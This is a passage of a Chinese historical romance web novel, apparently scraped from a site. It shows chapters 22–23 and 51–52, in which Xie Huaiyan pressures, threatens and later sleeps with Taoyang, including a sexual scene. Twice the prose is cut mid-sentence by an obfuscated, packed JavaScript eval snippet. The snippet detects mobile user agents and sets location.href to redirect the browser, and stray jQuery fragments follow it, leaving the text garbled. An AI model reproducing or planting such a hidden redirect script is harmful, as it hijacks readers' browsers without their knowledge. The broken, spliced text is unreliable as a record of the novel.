而且,待谢老夫人的寿辰过,他也就要启程回竹陵,这一分别,不知又要何时才能再次见面。 他让庾子轩独自先回,来了这里寻桃漾。 鹿鸣山中五步一灯,可毕竟是夜间,桃漾在花海中看不真切他的面容,只知这就是桓恒的声音,面上不由显露出笑意来,陈月漪在身侧瞧着,也不禁笑了笑:“桓四郎君来了,你去吧,我来捡拾。” 桃漾和桓恒在花海外的石桌前小坐片刻后,就一同出了香苑走在山中,行至一处山谷间,桃漾瞧见一棵硕大繁茂的榕树下闪动着点点明光,朱唇轻扬,抬手给桓恒指了指:“恒哥哥,是萤火虫。” 她说的欢喜,桓恒垂眸来看她。 自他那日跪在雨中一夜求得母亲同意后,他觉得桃漾在他面前和之前有些不一样了。从前,她总是得体端庄的,对他体贴关怀,却总是让他觉得少了些什么,而如今,桃漾会在他面前显露心思,会这般放松无防备的笑。 桓恒心里觉得暖暖的,似是面前如星如月的女子把最为重要的一颗真心坦然赤诚的交给了他。少女灵动的心思,倾慕一人时面红的悸动,他似是都握住了,桓恒不觉扬起唇角:“桃漾妹妹喜欢,我去给你捉来。” 他握住桃漾的手,带她往点点萤火中去。 鹿鸣山中的榕树不少,他们去的是最为粗壮硕大的一棵,榕树的树冠如同一张大伞朝着四周蔓延,遮蔽了好大一片空地。榕树上并未挂灯,这附近的烛火只有两盏,莹莹若若的发着微光。 榕树下暗黑一片,点点萤火的微光将树下两人身影笼出模糊光影,风吹树梢,沙沙作响,桓恒捉了萤火虫,捧在手中给桃漾瞧,两人相对而立,荧光映面,桓恒铺开手掌,榕树下的光逐渐消散,直到再无半点光亮。 月色澄明,照不进郁郁葱葱的树干之下,夜色将人影拉长,在榕树枝干遮盖不住的地方,两道身影相叠——不远处,一道高大颀长的身影立于山坡之上,眸光幽暗的望着这边,周身气场冷若冰窟。 22.第 22 章 一盏茶的时辰后,桃漾听到有人在唤她,自榕树下走出,对着不远处正往这边赶来的陈月漪回应了一声,陈月漪小跑着过来,气喘吁吁与桃漾说:“桃漾,你快回去罢,香苑里有好几样花草不知为何,突然就都蔫了——” 陈月漪喘了口气:“二公子正巧来香苑,他最是看重这些花草,正生怒呢。”桃漾闻言不禁皱起了眉,她今日已经在与陈月漪交接,只想把这些花草完完整整的交出去,却未料到会在这个时候出问题。 她回身看向桓恒:“恒哥哥,我——”桓恒打断她:“既是花草出了问题,桃漾妹妹快去罢。” 桃漾和陈月漪来到香苑时,谢怀砚正坐在那棵海棠花树下独自饮茶。他神色清冷,海棠花树上挂着的竹篾灯映出晕黄的光,将他轮廓分明的面庞半边隐没于暗夜,桃漾走过去对他见了礼,随后去了花草中。 整片整片的莲瓣兰和神山兰都蔫了下去。 她再回到石桌前,抬眸轻轻看向谢怀砚,四周静谧,桃漾只觉连空气都沉闷闷的,她想了想,欲开口解释上几句,可花草已经蔫了,她适才仔细瞧过了,怕是所有的莲瓣兰都活不成了。 这些花草贵重,有些更是重金难求。 她帮谢怀砚照料这些花草,并非是他特意请她来,而是她为了帮谢敛赔罪。明儿就是谢老夫人的寿辰,本来再过几日她就要回阳夏了,桃漾也不知再说些什么,只垂眸等待着面前之人发话。 许久无声。 桃漾再抬眸去看他,开口道:“是我失责,没能看顾好这些花草。” 谢怀砚搁下手中杯盏,抬眸扫过桃漾一眼,语气依旧生冷:“桃漾妹妹就要离开淮阳,区区花草,怎能阻碍了桃漾妹妹和心上人见面。”桃漾闻言眸光微讶,随后垂眸凝了凝眉。 “我只是去和恒哥哥说上几句话。” 谢怀砚冷笑。 桃漾往日在鹿鸣山中见到他时,他皆是端的一副清隽温润的神色,待她亦温和关照,从未见过他此时这般神色,心中不由得生畏,轻轻吐出一口气,再道:“请二公子责罚。” “责罚?桃漾妹妹就是这么替人赔罪的么?我若要责罚,当夜便让人寻了谢敛来惩处,何须你在此侍弄这些花草。”他声音冰冷的质问,桃漾垂眸轻声道:“若二公子不嫌弃,待我回了阳夏,悉心照料一批莲瓣兰,命人给公子运来淮阳。” 谢怀砚不置可否。 他今夜用了五石散,自宴席回到他的寝居时并未用冷水沐浴来行散,此时心中冷怒以及五石散带来的燥热让他神色暗沉,心火难消。谢怀砚起身,点墨似的眸子垂下看着桃漾,见她神色无措,隐隐显出几分慌乱,心中又不由得生起怜意:“饮酒时用了些散,桃漾妹妹陪我在山中走走。” 鹿鸣山中今夜很热闹。 有人在各处活水泉中泡温泉,也有人在山中游览夜景,桃漾知道,服用五石散后是需要以走路来行散的,她抬步默默跟在谢怀砚身后,往鹿鸣山中的一处高峰行过去。 两人一前一后,行走在平坦的山路间,夜风拂动,道路两侧的林木簌簌作响。时而传来几声鸟鸣,谢怀砚语气变得平和,问她:“可来过这里么?”桃漾回:“没有。”她这些日子在香苑里忙活完,就急着回韶院了。 陈月漪倒是也邀了她好几回来山中赏景,她一直推脱未去。就连她们居住的小院不远处就有活水泉,忙活一日后,陈月漪让她同去泡温泉,她也未曾去过。 “此山峰名为却月,站在山巅可观淮阳万家灯火。”他似是很随意的说着,桃漾抬眸望过去,问他:“二公子常来此处么?” 谢怀砚侧首,眸光正落在桃漾耳边,耳骨玲珑,耳垂红润,他送她的耳珰从未见她戴过。 谢怀砚淡淡颔首:“登高望远,可解烦忧。” 桃漾走在他身侧,默默在心里想,他这样的人该是有着怎样的烦忧呢? 大抵是朝中之事,谢氏一族中事。 越行高处,山路就越狭窄,虽地面依旧平整,却都是陡坡,桃漾头一回上却月峰,对此间山路不熟,行走的格外小心,大概走上有一炷香的时辰,终于登上却月峰。 谢怀砚负手而立,吹着山间凉风。 行了这一路,他身上的五石散消了大半,眸色墨黑,眼尾绯红,端谨矜贵的气度显得有些妖冶。 桃漾站在他一侧,望着远处数以万计的星星点点,观淮阳万家灯火。 她往日里只站在热闹街市仰望过如此盛景,却从未这般俯瞰过坊间喧嚣。 心中倒是生出几许别样的意味。 她掀眸轻轻看向谢怀砚,见他神 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15030292|161679||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 色温和,周身气场也不再冷沉,心中松了口气,他应该是不生气了,还有几日就要回阳夏,万万不可再出岔子才好。 一阵清风吹过,拂在面靥。 带来阵阵湿意,高空悬挂的上弦月本是明亮,却忽然被一团乌云遮蔽,山间更显昏暗。枝叶被风吹的簌簌作响,不过片刻,便有‘嗒嗒’声与之相和。 落雨了。 桃漾抬眸往乌暗天幕望上一眼,口中不觉道:“下雨了。”她看向谢怀砚,夏日里衣衫单薄,若任由雨水一直这样打在身上,淋个湿透,实在是不妥。 谢怀砚侧首看她,似能观透她的心思:“先去那里躲雨,等下会有人来送伞。”谢怀砚口中所说的位置是这山巅的一间屋子,专门用来挂鸟笼用的鸟舍,房间不大,此时是夜间,里面是仆人搁满了的各色鸟笼。 屋内未点灯,桃漾走进去时只能借鸟舍外灯罩里的光分辨位置,里面密密麻麻,不好下脚,桃漾就寻了靠近窗户的一个位置站下,以此来避雨。她在里面刚站稳,就听到窗牖外淅淅沥沥越来越急促的雨声。 夏日里的雨就是这样急又毫无预兆。 桃漾下意识朝谢怀砚在的地方看过去,他依旧站在那里,背影高大颀长,从天而落的雨水打在他身上,桃漾抿了抿唇,欲言又止,最后看向不远处的一棵繁茂榕树,开口道:“二公子也避避雨罢。” 谢怀砚闻言侧首,面庞在暗光下冷俊凉薄,他未往榕树下走,却是抬步往鸟舍这边走过来。 桃漾心中揪紧,这窄小的鸟舍站她一人就觉得和这些鸟笼拥挤了,他若再进来——桃漾正这样想着,就见谢怀砚站在了鸟舍外的窗边,以屋檐来遮雨,桃漾轻轻吐了口气,不知是雨声太过绵密,还是这一方窗舍前太过静谧,她松了一口气的声音显得突兀。 谢怀砚听的清晰,隔着一道窗垂眸来看她,桃漾抿紧了唇,垂下眼来,不吭声。 谢怀砚的目光落在她身上就再未挪开,目光太过直视,让桃漾有些避无可避,她随口扯了一句话问他:“这里的鸟儿都是二公子养的么?”谢怀砚淡淡‘嗯’了声,未有再多的言语。 桃漾衣袖中的手蜷住,将头埋的更低。 谢怀砚观着她,轻笑了声,嗓音里带着散漫:“桃漾妹妹在想什么?为何不抬起头来。” 23.第 23 章 桃漾掐了掐手心,抬起清亮的眸子去看他。 适才她走进这间鸟舍时,屋内还能透进些许的光,如今,却因谢怀砚站在窗前,鸟舍外的光亮被他高大的身影遮挡,她抬眸看到的,是暗夜中他清冷点淬的黑眸。 好看的桃花眼透着意味不明的情绪。 桃漾被他的身影掩于黑暗中。 她轻声道:“我在想这雨何时才能停下。” 朱唇一张一合,吐出这句话来,谢怀砚点墨似的眸子盯着她,唇红如砂,肤若凝脂,乌眸如星,就连嗓音都如软爪一样勾人心弦,他眉心微抬,修长指节抬起,触在桃漾额前绒绒的碎发前。 桃漾始料不及,下意识往后去撤,脚下踉跄,踢到身后的鸟笼,她抬起眸来,见谢怀砚神色沉下去,低声道:“适才淋了雨,仪容不整,让二公子见笑了。” 谢怀砚冷呵一声,俯身上前,贴在桃漾耳边,声线低沉:“桃漾妹妹是只有桓恒能碰么?”他吐息间带着清浅的酒香,弥散四周,许是五石散还未尽消,气息灼热。 静默片刻,桃漾问他:“是花草的事公子还没消气么?” 谢怀砚抬眉:“我不生气,不代表我心里就舒坦。”见桃漾怔神,他冷声道:“谢敛去了祖母面前,为妹妹澄清,桓恒要来替妹妹与我道谢,桃漾妹妹以为与竹陵桓氏的婚期定下了,就可以什么都不再顾,肆无忌惮了么?” “妹妹这样,也太不知恩图报了些。” 桃漾掐紧掌心,低声回他:“我午时做了莲子糕的,就在院中,还未给二公子送去。” 谢怀砚神色冷沉,盯着桃漾嫣红的唇瓣,语气淡漠:“谢礼该当投其所好,莲子糕味道清淡,不如——” 桃漾问:“二公子想要什么?” 雨夜风急,不知何时,将灯罩里的烛火吹灭,却月峰上一片昏黑,谢怀砚抬眉,打量着桃漾,眸光潋滟,肌肤雪白,永远都如花儿一样,散发着清甜气息,他想要什么? 谢怀砚呵笑,问她:“今夜怕是无人上山来送伞,山中路滑,不如我抱桃漾妹妹下山。” 桃漾在黑暗中抬眸与他相视,温和清丽的面容绷紧,显出几分严肃来:“男女有大防,二公子抱我下山于理不合,我可以自己下山。”这是桃漾生气时的神色,虽依旧有些内敛,却已显露出来。 谢怀砚冷笑,盯着她:“我与桃漾妹妹同为谢氏中人,兄长抱你下山,你就这般?还是说桃漾妹妹恪守礼制,是极为守礼之人……可山谷间榕树下,桃漾妹妹又和别的男人在做些什么?” 他声音冷硬,再倾身,在桃漾耳侧偏首,盯着桃漾面颜,呼吸间气息洒在她侧颈上,嗓音低哑:“桃漾妹妹可知,五石散还可如何解?” 桃漾闻言乌眸瞬时放大,不可置信的看他,面上既惊又怒,情绪再掩不住:“二公子吃醉了——”她艰难说出这句话,也不再管身后是什么阻碍,用力踢开,跳上木质鸟笼就要出门下山去。 桃漾很慌,逃开的动作很大,衣诀飘动间,令人蚀骨的体香阵阵飘散而出,袭入谢怀砚鼻息。 雨声淅沥,夜风拂动。 谢怀砚站在原地,看那道单薄倩影越行越远。 他生来矜贵,清高傲慢,门阀士族嫡子,权势滔天,只要他想要,便从无不得二字。他望着无边黑夜,忆起无数个夜间困扰他的梦——冷呵一声,神色阴沉,她欠下的,他总要向她一笔一笔全讨回来。 * 桃漾刚走出百十步时,就遇上了上山来的空谷,他手中撑伞,看到桃漾脚步匆匆,上前见礼的话还未说出,桃漾从他手中拿过一把伞,什么都未言语,径直往山下走去。 虽是撑了伞,桃漾身上还是湿淋淋的回到了山下小院,陈月漪见她如此狼狈而回,正欲问她发生了何事时,桃漾走进屋中阖上门,极为快速的换了身干净衣裙,肩上青丝都未来得及擦拭,又推开门快步离开了鹿鸣山。 陈月漪站在她的屋门前,一直懵懵的看着,直到桃漾的身影消失不见。 桃漾回到韶院时,桓馥屋里的灯已经熄灭,她青丝半湿回到屋中,杏枝瞧见惊讶一声:“姑娘,你这是淋雨了么?怎这个时候——”杏枝说着就发觉到了不对劲,她家姑娘面色煞白,神色慌乱。 桃漾淡声吩咐:“去准备热水。” 杏枝低低应下一声,急忙去备热水。 桃漾沐浴过后,用了碗热汤,上了榻许久未能睡下。 一夜间,乱梦连连。 待到第二日一早,桃漾前去桓馥屋中请安,桓馥满是好奇的看着她:“昨夜不是住在鹿鸣山了么?怎又回来了。”桃漾用了胭脂遮盖了眼下的乌青,在桓馥身边坐下,轻声道:“今儿是老夫人的寿辰,我怕一早从鹿鸣山赶回让母亲久等,昨夜就先回了。” 桓馥颔首,倒未多想。 今儿是谢老夫人的寿辰,宴席摆在府中琼华园,歌舞琴乐,高僧诵法,金樽美酒,凤髓龙肝,尺颊生香。谈笑声响彻了一晌午,桃漾只默默跟在桓馥身后,像是不存在般将自己掩在热闹之外。 好在,这一日过的倒是如她所愿。 所有人都在忙碌,没有人注意到她,就连桓恒也在忙于各种应酬来往,至晚间,桃漾觉得身子有些不适,早早的就回了她屋中,倚在榻上翻看书卷。 谢老夫人的寿辰共有三日,只第一日是全府庆贺,人人到场,之后的两日更多是各大士族之间的热闹来往,第二日,桃漾只跟桓馥说她身子不适,一直待在韶院里不曾出门。 陈月漪那边倒是命人前来问她,那日桃漾要与她交接的事还有一些未交接完。桃漾将剩余之事提笔写在纸上,让杏枝给陈月漪送过去,只说她染了风寒,这两日都不再去鹿鸣山。 夜里,杏枝刚在桓馥那里得了赏,兴奋的回到西厢房里来,就见桃漾在忙忙碌碌的收拾一些常用的物件,杏枝好奇,问她:“姑娘,咱们后日才回阳夏呢,今儿就收拾行李么?” 桃漾一边收整着衣物一边道:“后日一早就要回阳夏,先收着罢,省得到时候慌乱。”杏枝点头,上前去搬箱笼来,开始收拾行李。 待一切都收整完毕,桃漾心里舒坦了些,第三日的时候,她又是一个人在韶院里待着,只是这日桓恒提了食盒前来看她:“这两日太过忙碌,桃漾妹妹身子不适我竟是这会儿才知,”他很自责,将食盒打开:“这是我特意去街市上买来的,都是桃漾妹妹爱吃的,妹妹用些罢。” 桃漾对他莞尔,拿起一小块芙蓉糕吃着,午后桓恒就要随他母亲以及桓氏中人一道回竹陵郡,两个人在花厅里坐了有小半个时辰,自是依依不舍,桓恒起身要离开时,桃漾与他道:“我随恒哥哥一道回玉园,跟舅母告别。” 桓恒见她气色还不错,就应下。 桃漾又给桓二夫人送了几样消暑悦目的点心,都是她一早和杏枝一起做的,本打算着午后和她母亲一道去玉园时带上的,她和桓恒来到玉园,桓二夫人待她倒是亲切,还关怀了几句她的身子。 桃漾并未久待,在玉园里坐了一盏茶的时辰就回了韶院。 午后,她再和桓馥一同来到玉园,送桓二夫人他们离开淮阳,桓恒临上马前,目光眷恋的看着桃漾,趁四周说话声热闹,低声在桃漾面前道:“桃漾妹妹,四月之后就是我们大婚之日,等我来娶你。” 桃漾低垂下眼眸,对他轻轻应声:“好,我等恒哥哥。” 他们的马车径直离去。 之后,桓馥去了谢老夫人的存玉堂,桃漾则是又回了韶院。回到屋内,躺在榻上午憩了会儿,待醒来,谢嫣身边的婢女穗儿前来韶院请她一道去游湖。 明儿她也就要离开淮阳回阳夏,这些日子谢嫣待她不错,临别前总要与 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15034337|161679||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她待上一待,桃漾想了想,起身梳洗,随穗儿去了莲园。 谢嫣瞧见桃漾过来,面露欣喜:“这两日府中热闹,倒是一直没瞧见桃漾姐姐。”莲园里的人并不多,只几个往日里与谢嫣交好的士族女郎,桃漾与谢嫣上了一艘香船,与谢嫣说起这两日的事来。 谢嫣口中孜孜不倦的与桃漾说着,桃漾一边剥着莲蓬一边饶有兴致的倾听,她与谢嫣是相对而坐,正听的认真,只见谢嫣眸光一亮,朝着桃漾身后的湖岸上欣喜唤道:“二哥哥,你也来游船么?” 桃漾手中刚剥好的莲子‘啪嗒’一声掉落在木板地上。 谢嫣站起身,走到船板上,谢怀砚淡声回她:“你们姑娘家游玩,我们去比骑射。”他话落,是另一位公子说话的声音,应是与谢嫣相熟,与她说着些‘摘莲蓬’之类的话。 因是夏日,香船四面都是敞开的,桃漾一直坐在这里实在是不妥,她将手中莲蓬搁下,起身走出去,对着岸上站着的几位士族郎君见礼,谢怀砚神色平和,眸光在她身上扫过,语气很是随意:“桃漾妹妹也在。” 这声音与以往无异,桃漾抬眸向他看过去,谦谦君子,清风朗月,依旧从容,满是矜贵,与桃漾再道:“桃漾妹妹做的莲子糕极为甜香,这湖中莲都已盛放,倒是要多摘些。” 桃漾对他颔首。 谢怀砚一行人离去。 * 天色渐暗时,桃漾回了韶院。 见桓馥和谢澜都还未回,就坐在抄手游廊里等着他们。 明儿他们就要带着谢敛和谢玉梵前往青梧袁氏,桃漾等着他们回来和他们道别。她独自一人坐在抄手游廊下,微微出神,自从莲湖回来后,她心情好了些。 或许那夜,谢怀砚当真是吃醉了酒,亦或他当时只是因莲瓣兰都坏了心中感到不悦,迁怒于她。 她听陈月漪说起过,他院中女子甚多,自他任豫州刺史以来,费尽心思讨好他的人无数,给他献上美人,他惯来都是收下的。 这样一个人,虽内里清高倨傲,却多少是风流重欲的。 一时迁怒,又见她是因和桓恒见面才失了责,生出兴致,如逗狸奴,逗狐狸一般,用一种极为不堪的行径逗了她。 他能忘了当作无事发生一样,是最好的。 她得罪不起他,父亲一直也都想得到淮阳谢氏的帮扶,更是不会去得罪他。 过了好些时候,还是不见有人回,恰巧这时谢敛回了院中,上前道:“五姐姐,你坐这里吹风么?” 桃漾看他:“明儿你们就要去青梧,我等父亲母亲呢。” 谢敛眉目含笑:“五姐姐的行李可都收整好了么?你不用担心我们,倒是你自个回阳夏,路上可得小心着些。”谢敛话落,韶院门前走进一穿着富丽的丫鬟,桃漾认得她,是谢老夫人跟前的人。 她和谢敛上前去说话,丫鬟枫红见礼道:“桃漾姑娘,老夫人请您去存玉堂说话呢。”桃漾见枫红态度温和,眉间染笑,想来父亲母亲此时也都在谢老夫人跟前,就随着枫红去了。 府宅里各处此时都已点了灯,明亮如昼。 桃漾跟着枫红来到存玉堂门前时,这里倒是热闹,谢怀砚正手中握鞠陪着庆小郎君在玩闹,桃漾在淮阳谢氏这么久以来,倒是头一回见他如此悠闲的陪着稚童,随着枫红上前来见礼。 明亮烛火下,谢怀砚似是漫不经心的看桃漾一眼,将手中鞠扔在庆小郎君怀中,吩咐枫红:“陪小郎君玩闹会儿。”枫红应是,和庆小郎君在一侧玩鞠,桃漾虽已在心里宽解过自己,心中还是不由得感到不安。 谢怀砚身量高大,垂眸看她,见桃漾一直低垂眼眸,他抬眉轻笑,忽而倾身在桃漾耳边,嗓音低沉:“听闻桃漾妹妹昨日就把回阳夏的行李收整妥当了,”他语气意味不明,带着些许遗憾:“可惜,桃漾妹妹走不了了。” 50-60 第51章 吃你会娶我么? 桃漾再回到小善寺时,谢夫人已出了高僧禅房,正坐在后院石桌前等着她,见她回来,让嬷嬷给她添了杯茶,道:“坐下歇会儿咱们再回。” 桃漾对她轻轻点头,拿起杯盏用了口茶。 她神色清淡,只把去清心庵捐香油钱的事简单说了几句,再没什么话说,谢夫人只以为从小善寺往清心庵的这段路让她走累了,也没多问,待歇上片刻,一道坐马车往淮阳城回。 谢夫人自袖袋里取出一只平安符递给桃漾,温声道:“给你求的。”红色平安符递在眼前,透着淡淡的香火气,桃漾抬眸看向谢夫人,轻抿唇瓣:“多谢夫人。” 谢夫人对她轻笑:“你适才若能早些回来,我还想带你卜上一卦呢,与这位高僧不过清谈这片刻,倒是解了我心中困扰,可惜,你回来时,他已去见了别的香客。” 桃漾对谢夫人莞尔:“下回得了机会我再来。” 马车内闲聊,不觉间就已入了淮阳城门,回到桂月园不过刚过了午时,桃漾陪着谢夫人简单用些午膳,回到竹院后就上了榻。 她往日里便有午憩的习惯,躺在枕上不多时就睡下了。 窗外日光正盛,秋风轻拂,吹动着黄叶片片散落。 谢满眉目含笑,身上着了件明黄色锦裙,依旧是澄澈明媚的模样,她站在树下眸光认真的看着桃漾,甜声唤她:“桃漾姐姐。” 桃漾问她:“满儿妹妹,你不是去了远房姨母家么?怎会在那里——” 谢满听到她的话,本是在笑着,忽的一声便哭了。 随后,桃漾又看到了大郎君,他神色温和对桃漾道:“大伯和府中长辈商议,送姑母去了城外别苑,那里山好景好,有奴仆侍奉,总比回了曲陵要来得好。” 桃漾对他使劲摇头:“不是的,不是这样的,她们不在别苑,她们被人关了起来——”她声嘶力竭的喊着,额间香汗淋淋,猛的在枕上睁开了眼。 水兰闻声急忙进来,隔着床帐问:“姑娘,怎么了?可是做噩梦了?”桃漾躺在枕上眸光直直的盯着帐顶,气息紊乱,许久,轻声回水兰:“没事,出去吧。” 桃漾一直在榻上躺着,神色黯淡,面色也不太好,直到酉时的时候,水兰再进来唤她:“姑娘,家主来了桂月园,让您一道用晚膳呢。” 桃漾神思不稳,正出着神,听到‘家主’二字,心间一紧,默上许久,与水兰道:“就说我午时出门累着了,想在榻上多歇会儿,没有胃口。” 水兰闻言犹豫片刻,应声再出了门。 再过上有一刻钟,桃漾起身下了塌,梳洗后出了竹院往鹿鸣山中去,她刚走出院门,恰巧在抄手游廊上碰上了要出桂月园的家主谢蕴。 桃漾上前对他见礼,指节在衣袖下不由得攥紧。 谢蕴看了看她,依旧是温和的神色:“不是说累了么,这是要去哪儿?”他随口一问,桃漾神色有些微的紧张,回他:“听闻鹿鸣山中的活水泉可解疲乏,我去鹿鸣山。” 谢蕴闻言轻笑:“也是。”他说完,转过游廊出了桂月园。 桃漾站在游廊下,待他走的很远了,才再抬起步子。 自来到淮阳谢氏,她耳中所闻,眼中所见,家主谢蕴皆是仁德宽厚,待人慈悯的,他待谢老夫人孝敬,与夫人恩爱在整个豫州都是佳话,对待府中晚辈亦是温和厚待。 就连他身边的幕僚都被他极为厚待的留在府中。 自再次回到淮阳后,她虽在府中得了自由,可她身边都是谢怀砚的人,他那么清高自傲,手段狠绝,绝不会允许她再次有别的心思,她逃不出谢怀砚的牢笼。 淮阳不行,豫州也不行,只要她还在南朝,她就永远都逃不开他。 是以,她把希望放在了家主谢蕴身上。 谢氏族规森严,家主清正,她想用酿酒赛他给出的赏赐换她离开。 她在谢蕴院外的桂花林徘徊几日,一直未能走进去,是她不敢确定谢蕴如今已致仕,而谢怀砚手握豫州的兵马大权,他是否能管制得了谢怀砚—— 她还在犹豫,而如今,不但路行不通,若谢蕴知晓了她和谢怀砚的事,她的下场,只会比谢满她们更惨。 谢怀砚是他唯一的嫡子,亦是日后淮阳谢氏家主,他的身上,不能有任何的污点。 桃漾来到鹿鸣山,如往日一样径直要往碧月阁去,空谷上前与她道:“五姑娘,公子正在碧月阁内待客。”桃漾神思飘远,直到空谷上前来与她说话,她才听到了碧月阁内传出的琴音。 清婉悠扬,雅中有刚。 桃漾曾在老夫人的存玉堂里听到过这样的琴音,她抬眸望向碧月阁内,轻声问空谷:“是卢七姑娘在么?” 空谷对桃漾颔首:“是,卢七姑娘和公子在论琴,怕是要忙到很晚,五姑娘有急事么?我可去禀告公子。” 默上片刻,桃漾对空谷摇了摇头:“不用。” 谢老夫人早些日子就说要与卢氏定下亲事,桃漾不知这亲事为何迟迟未定,而卢七姑娘也一直住在谢氏陪着她长姐,未曾离开。 谢怀砚在鹿鸣山中的别苑内有两处温泉泉眼,桃漾让空谷不用管她,抬步去了另一侧的青鸢阁,阁内寂静,她坐在八角古亭下双手托腮望着西山晚霞出神。 不多时,身侧传来轻轻的脚步声,桃漾回过神来,刚侧眸看过去,‘一抹红’就一跃而起直往她怀中钻,桃漾下意识站起身,往后退上几步,才看清朝她蹦来的,是谢怀砚养在身边的那只红狐狸。 她松下口气,上前抱起她,再在桌前落座,青鸢阁外,陈月漪着急的寻来这里,见到红狐狸在桃漾怀中,她松了口气,上前与桃漾道:“可把我给吓坏了,卢七姑娘害怕狐狸,公子特意嘱咐我把它给看好了,还是让它给跑了出来。” 陈月漪话说完后,才意识到或许说了不该说的,再找补道:“卢七姑娘毕竟是客,吓着了总归是不好。”桃漾神色清淡,对她应了声:“我抱它一会儿,坐下说会话吧。” 陈月漪闻言在桃漾身侧坐下。 西山红霞逐渐淡去,留下最后一抹红光后,入了夜,碧月阁内琴声依旧悠扬,陈月漪看了看暗下的天幕,再看看抚摸着狐狸耳朵的桃漾,想要开口说些什么,却又不知如何开口。 过上片刻,陈月漪道:“阿漾,你用晚膳了么?我午后刚做了些点心,你尝尝?”桃漾闻言看向陈月漪,温声道:“也好,许久未吃你做的点心了。” 陈月漪去端了来,桃漾吃了有两块,剩余的都喂给了怀中的红狐狸,夜色越发的深,碧月阁内的琴声也变了声调,似是抚琴之人早已没了心思在琴上。 一阵乱音,再一阵轻响,似是不小心碰到,又似是在木琴上忙着做其他事。 陈月漪听着这音调轻轻凝了眉,见桃漾神色不变,她也就安静的坐在一侧,待再晚些的时候,桃漾掩手打了个哈欠,起身褪下衣物下了温泉池,在这里沐浴后让陈月漪随意给她找间卧房,就去歇下了。 她躺在枕上,刚想阖上眼去睡,卧房外就传来了沉稳的脚步声,片刻,那股熟悉的檀香气息散入鼻间,桃漾翻转过身来,乌眸澄亮看着他。 谢怀砚在榻边坐下,冷白指节抬起,抚了抚她耳边青丝,嗓音平淡道:“困这么早。”桃漾对他淡淡‘嗯’了声,随后看向榻边小几上的烛火:“帮我把灯熄了。” 谢怀砚闻言轻笑,起身褪下衣衫,剪灭了烛火后上榻,将桃漾揽在怀中:“陪我说会儿话。” 桃漾抬眸看他,低声道:“午时,我和谢夫人一起去了小善寺。” 谢怀砚淡淡‘嗯“声,问她:“都做什么了?” 桃漾轻声道:“我去了清心庵,你猜我见到了谁?”她抬眸看着谢怀砚,乌黑眸光在夜色中极为明亮,如同天上繁星,却又带着淡淡的忧伤。 谢怀砚眉心微抬,示意她说。 桃漾再低声道:“我见到了谢满,也见到了姑母——”桃漾顿了顿:“她们都很惨,我本以为她们虽不在府中,日子却也过的平静,怎会这样呢?” 她的眸光望进谢怀砚点墨眸中:“你知道这件事么?” 谢怀砚对她颔首,语气平静道:“她们犯了族规,自是要受惩戒,何必可怜她们。”他神色淡漠,满是凉薄,骨子里的傲慢与冷情丝毫不掩饰。 卧房内静谧,默上片刻,桃漾低声回他:“可我也犯了族规——”谢怀砚指腹在她柔软耳垂轻揉,嗓音微沉:“桃漾妹妹很怕和她们一样么?” 破旧木门缝隙里的画面再刺在心中,桃漾面色惨白,对他点头,轻声道:“怕,特别怕——”谢怀砚等的就是她的这句话,他吻在桃漾绯红眼角,似是宽慰,声线沉稳道:“桃漾妹妹经的事少,心思纯真,这世道怎会是你想的那么简单。” “若无家族的庇护,男子在这世间尚难立足,何况是女子呢,就算是放了她们离开,也不过是成为野兽腹中之食亦或被别的男人占有流落风尘成为玩物。” 他眸光深邃,凝着桃漾:“桃漾妹妹生的这般温 婉可人,若独自一人行走世间,又该是怎样的下场呢?“他嗓音温和,却带着某种压迫,一字一句的落在桃漾耳边。 “南蛮商队尚且图财,若换作他人——” 床帐内照进月光,谢怀砚在明黄光影下看着桃漾的神色,他自是不会让她再有离开的机会,可她心里的念头始终不散,也总得掐灭了,他见桃漾低垂着眼眸,咬紧了唇瓣,不言语。 谢怀砚有耐心等她。 许久后,桃漾抬眸看他:“若家主发现,我也会和她们一样——” 谢怀砚薄唇勾笑:“有我护着桃漾妹妹,没有人可以伤到你。” 桃漾看着他,在他怀中轻轻点头。 她的模样很乖,最得他欢心,肌肤滑腻如玉,满是香郁,谢怀砚凑近去吻她,桃漾檀口微张,在他探入口中时,舌尖相缠,缠绵一番,桃漾面靥绯红,气息微喘,在谢怀砚解她小衣时,低声问他:“你会娶我么——” 话语飘荡在床帐内,随着水红色绣莲小衣一道再散落而下,谢怀砚眸色晦暗,嗓音低哑:“先给我吃够了再说——”春浓帐暖,满室旖旎,月白床帐映出交叠身影,随窗外枝丫在风中疾驰。 谢怀砚闷哼一声后,尽数给她,桃漾纤白指节攥的被褥皱成一团,身子蜷缩——谢怀砚将她拥进怀中,桃漾疲惫的阖上眼时,听到身后谢怀砚低声与她道:“桃漾妹妹想嫁给我么?” 第52章 教心中终于畅快 桃漾阖着眼眸,在他怀中很安静,轻轻点头。 嫁给他,有一个安身立命的居所,自然是好的。 谢怀砚抬手将桃漾侧过身来,与他相对,他嗓音平和,低声道:“桃漾妹妹是我的人,我自是会娶。”桃漾乌黑眼睫还染着泪,黑眸明亮,与他相对,默上片刻,再轻应了声。 她往谢怀砚身前挪动了下身子,钻进他怀里,抱住了他的腰。 桃漾难得这般与他主动,软腻的身子贴上来,酥麻销骨,谢怀砚温存的吻她,宽大手掌在桃漾腰间用力,提着桃漾坐在了他劲瘦腰腹间。 